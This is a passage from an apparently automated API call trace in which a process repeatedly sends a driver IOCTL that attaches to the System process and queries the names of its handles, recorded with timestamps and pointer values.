lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0110.962] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.962] PsAcquireProcessExitSynchronization () returned 0x0 [0110.962] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.962] ObReferenceObjectByHandle (in: Handle=0xffffffff80000558, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a2d2d0, HandleInformation=0x0) returned 0x0 [0110.962] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.962] PsReleaseProcessExitSynchronization () returned 0x2 [0110.962] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.962] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800393e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800393e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0110.962] ObfDereferenceObject (Object=0xfffffa8001a2d2d0) returned 0x1 [0110.962] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.963] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.963] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0110.963] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.963] PsAcquireProcessExitSynchronization () returned 0x0 [0110.963] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.963] ObReferenceObjectByHandle (in: Handle=0xffffffff80000560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021af670, HandleInformation=0x0) returned 0x0 [0110.963] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.963] PsReleaseProcessExitSynchronization () returned 0x2 [0110.963] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.963] ObQueryNameString (in: Object=0xfffffa80021af670, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.963] ObfDereferenceObject (Object=0xfffffa80021af670) returned 0x2 [0110.963] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.963] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.963] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.963] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.963] PsAcquireProcessExitSynchronization () returned 0x0 [0110.963] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.963] ObReferenceObjectByHandle (in: Handle=0xffffffff80000574, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024e93c0, HandleInformation=0x0) returned 0x0 [0110.963] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.963] PsReleaseProcessExitSynchronization () returned 0x2 [0110.963] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.963] ObQueryNameString (in: Object=0xfffffa80024e93c0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.963] ObfDereferenceObject (Object=0xfffffa80024e93c0) returned 0x2 [0110.963] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.963] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.964] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.964] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.964] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.964] PsAcquireProcessExitSynchronization () returned 0x0 [0110.964] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.964] ObReferenceObjectByHandle (in: Handle=0xffffffff8000057c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002147270, HandleInformation=0x0) returned 0x0 [0110.964] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.964] PsReleaseProcessExitSynchronization () returned 0x2 [0110.964] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.964] ObQueryNameString (in: Object=0xfffffa8002147270, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.964] ObfDereferenceObject (Object=0xfffffa8002147270) returned 0x2 [0110.964] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.964] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.964] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.964] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.964] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.964] PsAcquireProcessExitSynchronization () returned 0x0 [0110.964] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.964] ObReferenceObjectByHandle (in: Handle=0xffffffff80000580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021194c0, HandleInformation=0x0) returned 0x0 [0110.964] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.964] PsReleaseProcessExitSynchronization () returned 0x2 [0110.964] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.964] ObQueryNameString (in: Object=0xfffffa80021194c0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.964] ObfDereferenceObject (Object=0xfffffa80021194c0) returned 0x2 [0110.964] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.964] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.964] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.964] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0110.964] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.965] PsAcquireProcessExitSynchronization () returned 0x0 [0110.965] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.965] ObReferenceObjectByHandle (in: Handle=0xffffffff80000584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003141e60, HandleInformation=0x0) returned 0x0 [0110.965] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.965] PsReleaseProcessExitSynchronization () returned 0x2 [0110.965] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.965] ObQueryNameString (in: Object=0xfffffa8003141e60, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.965] ObfDereferenceObject (Object=0xfffffa8003141e60) returned 0x1 [0110.965] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.965] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.965] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.965] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.965] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.965] PsAcquireProcessExitSynchronization () returned 0x0 [0110.965] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.965] ObReferenceObjectByHandle (in: Handle=0xffffffff8000058c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021201f0, HandleInformation=0x0) returned 0x0 [0110.965] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.965] PsReleaseProcessExitSynchronization () returned 0x2 [0110.965] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.965] ObQueryNameString (in: Object=0xfffffa80021201f0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.965] ObfDereferenceObject (Object=0xfffffa80021201f0) returned 0x2 [0110.965] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.965] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.965] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.965] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.965] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.965] PsAcquireProcessExitSynchronization () returned 0x0 [0110.965] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.966] ObReferenceObjectByHandle (in: Handle=0xffffffff80000590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a42ab0, HandleInformation=0x0) returned 0x0 [0110.966] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.966] PsReleaseProcessExitSynchronization () returned 0x2 [0110.966] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.966] ObQueryNameString (in: Object=0xfffffa8001a42ab0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.966] ObfDereferenceObject (Object=0xfffffa8001a42ab0) returned 0x2 [0110.966] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.966] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.966] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.966] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.966] PsAcquireProcessExitSynchronization () returned 0x0 [0110.966] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.966] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002156790, HandleInformation=0x0) returned 0x0 [0110.966] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.966] PsReleaseProcessExitSynchronization () returned 0x2 [0110.966] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.966] ObQueryNameString (in: Object=0xfffffa8002156790, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.966] ObfDereferenceObject (Object=0xfffffa8002156790) returned 0x2 [0110.966] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.966] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.966] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.966] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.966] PsAcquireProcessExitSynchronization () returned 0x0 [0110.966] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.966] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a472d0, HandleInformation=0x0) returned 0x0 [0110.966] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.966] PsReleaseProcessExitSynchronization () returned 0x2 [0110.967] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.967] ObQueryNameString (in: Object=0xfffffa8001a472d0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.967] ObfDereferenceObject (Object=0xfffffa8001a472d0) returned 0x2 [0110.967] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.967] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.967] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.967] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.967] PsAcquireProcessExitSynchronization () returned 0x0 [0110.967] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.967] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f92f20, HandleInformation=0x0) returned 0x0 [0110.967] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.967] PsReleaseProcessExitSynchronization () returned 0x2 [0110.967] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.967] ObQueryNameString (in: Object=0xfffffa8001f92f20, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.967] ObfDereferenceObject (Object=0xfffffa8001f92f20) returned 0x2 [0110.967] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.967] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.967] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.967] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.967] PsAcquireProcessExitSynchronization () returned 0x0 [0110.967] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.967] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003bb8b60, HandleInformation=0x0) returned 0x0 [0110.967] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.967] PsReleaseProcessExitSynchronization () returned 0x2 [0110.967] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.967] ObQueryNameString (in: Object=0xfffffa8003bb8b60, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.968] ObfDereferenceObject (Object=0xfffffa8003bb8b60) returned 0x2 [0110.968] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.968] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.968] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0110.968] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.968] PsAcquireProcessExitSynchronization () returned 0x0 [0110.968] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.968] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020863b0, HandleInformation=0x0) returned 0x0 [0110.968] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.968] PsReleaseProcessExitSynchronization () returned 0x2 [0110.968] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.968] ObQueryNameString (in: Object=0xfffffa80020863b0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.968] ObfDereferenceObject (Object=0xfffffa80020863b0) returned 0x2 [0110.968] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.968] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.968] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.968] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.968] PsAcquireProcessExitSynchronization () returned 0x0 [0110.968] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.968] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003312b70, HandleInformation=0x0) returned 0x0 [0110.968] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.968] PsReleaseProcessExitSynchronization () returned 0x2 [0110.968] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.968] ObQueryNameString (in: Object=0xfffffa8003312b70, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.968] ObfDereferenceObject (Object=0xfffffa8003312b70) returned 0x2 [0110.968] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.969] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.969] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.969] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.969] PsAcquireProcessExitSynchronization () returned 0x0 [0110.969] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.969] ObReferenceObjectByHandle (in: Handle=0xffffffff80000608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002965af0, HandleInformation=0x0) returned 0x0 [0110.969] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.969] PsReleaseProcessExitSynchronization () returned 0x2 [0110.969] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.969] ObQueryNameString (in: Object=0xfffffa8002965af0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.969] ObfDereferenceObject (Object=0xfffffa8002965af0) returned 0x2 [0110.969] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.969] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.969] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0110.969] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.969] PsAcquireProcessExitSynchronization () returned 0x0 [0110.969] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.969] ObReferenceObjectByHandle (in: Handle=0xffffffff80000610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800d41cd20, HandleInformation=0x0) returned 0x0 [0110.969] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.969] 